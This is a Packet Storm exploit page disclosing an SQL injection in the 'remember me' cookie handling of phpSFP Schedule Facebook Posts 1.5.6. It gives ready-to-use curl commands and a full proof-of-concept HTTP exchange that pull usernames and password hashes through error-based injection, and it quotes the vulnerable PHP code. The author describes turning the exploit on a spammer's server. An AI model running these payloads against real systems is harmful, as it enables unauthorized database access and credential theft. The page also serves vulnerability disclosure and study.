exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

phpSFP Schedule Facebook Posts 1.5.6 SQL Injection

phpSFP Schedule Facebook Posts 1.5.6 SQL Injection
Posted Apr 3, 2015
Authored by Pichaya Morimoto

phpSFP Schedule Facebook Posts version 1.5.6 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 7673a25237bdf3cd6bc1787a2b3327ccc77b90c595451e0afce62021f734c275

phpSFP Schedule Facebook Posts 1.5.6 SQL Injection

Change Mirror Download
######################################################################
# _ ___ _ _ ____ ____ _ _____
# | | / _ \| \ | |/ ___|/ ___| / \|_ _|
# | | | | | | \| | | _| | / _ \ | |
# | |__| |_| | |\ | |_| | |___ / ___ \| |
# |_____\___/|_| \_|\____|\____/_/ \_\_|
#
# phpSFP - Schedule Facebook Posts 1.5.6 SQL Injection (0-day)
# Website : http://codecanyon.net/item/phpsfp-schedule-facebook-posts/5177393
# Exploit Author : @u0x (Pichaya Morimoto)
# Release dates : April 2, 2015
#
# Special Thanks to 2600 Thailand group:
# xelenonz, pe3z, anidear, windows98se, icheernoom, penguinarmy
# https://www.facebook.com/groups/2600Thailand/ , http://2600.in.th/
#
########################################################################

[+] Description
============================================================
phpSFP – is a Platform where you can easily manage your scheduling for
all your (Facebook) pages & groups in one place.
It helps to send messages, ads, events, news and so on. phpSFP is
pretty popular more than its sale record thanks to nulled group
(underground WebApp license crackers).

[+] Background <3
============================================================
I managed to track down a group of Vietnam-based Facebook spammer
which posted ads on many FB groups I'm joined.
And ended up with a website that is modified version (all phpSFP
credits are removed) of phpSFP 1.4.1.
so I did some matching and found the original application is phpSFP.

Guess what happens when spammer mess up with offsec guy ;)

[+] Exploit
============================================================
There are many possible ways to do SQLi, I will go with error-based
which enabled by default on phpSFP xD

$ curl http://path.to.phpsfp/index.php/login -b "login=1|||1' or
extractvalue(rand(),concat(0x2e,user())) or '1|||1"

in case you don't know, for further queries you have to change
'user()' to something else, e.g.

$ curl http://path.to.phpsfp/index.php/login -b "login=1|||1' or
extractvalue(rand(),concat(0x2e,(select
concat_ws(0x3a,username,password) from users limit 1))) or '1|||2"

don't forgot to do length()/substr() stuffs due to limitation of 32
characters in error message


[+] Proof-of-Concept
============================================================
PoC Environment: Ubuntu 14.04, PHP 5.5.9, Apache 2.4.7

GET /index.php/login HTTP/1.1
Host: 192.168.33.103
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: login=1|||1' or extractvalue(rand(),concat(0x2e,(select
concat_ws(0x3a,username,password) from users limit 1))) or '1|||2

HTTP/1.1 500 Internal Server Error
Server: Apache/2.4.7 (Ubuntu)
Date: Thu, 02 Apr 2015 13:15:08 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Set-Cookie: ci_session=<deducted>; expires=Sat, 01-Apr-2017 13:15:08
GMT; Max-Age=63072000; path=/
Content-Length: 838

<html>
<head>
<title>Database Error</title>
<style type="text/css">
....
<h1>A Database Error Occurred</h1>
<p>Error Number: 1105</p><p>XPATH syntax error:
'admin:f0250d9b38c974122119abf826'</p><p>
....


[+] Vulnerability Analysis
============================================================
I have analyzed on 1.5.6 (lastest version) and 1.4.1 (a popular
edition released by nulled group)
The bug itself is quite interesting.. the author did well in login
function but failed
to parameterized/escape SQL query in 'remember me' function in
authentication phrase.

; phpSFP 1.5.6
File: application/models/auth.php
function cookie()
{
if(get_cookie('login')) <-- if 'login' cookie is setted
{
list($id_user, $password, $access) = explode("|||",
get_cookie('login')); <-- split by |||
// the magic happens here
$qusers = $this->db->query("SELECT id FROM users WHERE
id='".$id_user."' AND password='".$password."'");

; phpSFP 1.4.1, same thing but in different file
File: application/controllers/login.php
public function index()
{
if(get_cookie('login')) <-- if 'login' cookie is setted
{
list($id_user, $password, $access) = explode("|||",
get_cookie('login')); <-- split by |||
// the magic happens here
$qusers = $this->db->query("SELECT id FROM users WHERE
id='".$id_user."' AND password='".$password."'");

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close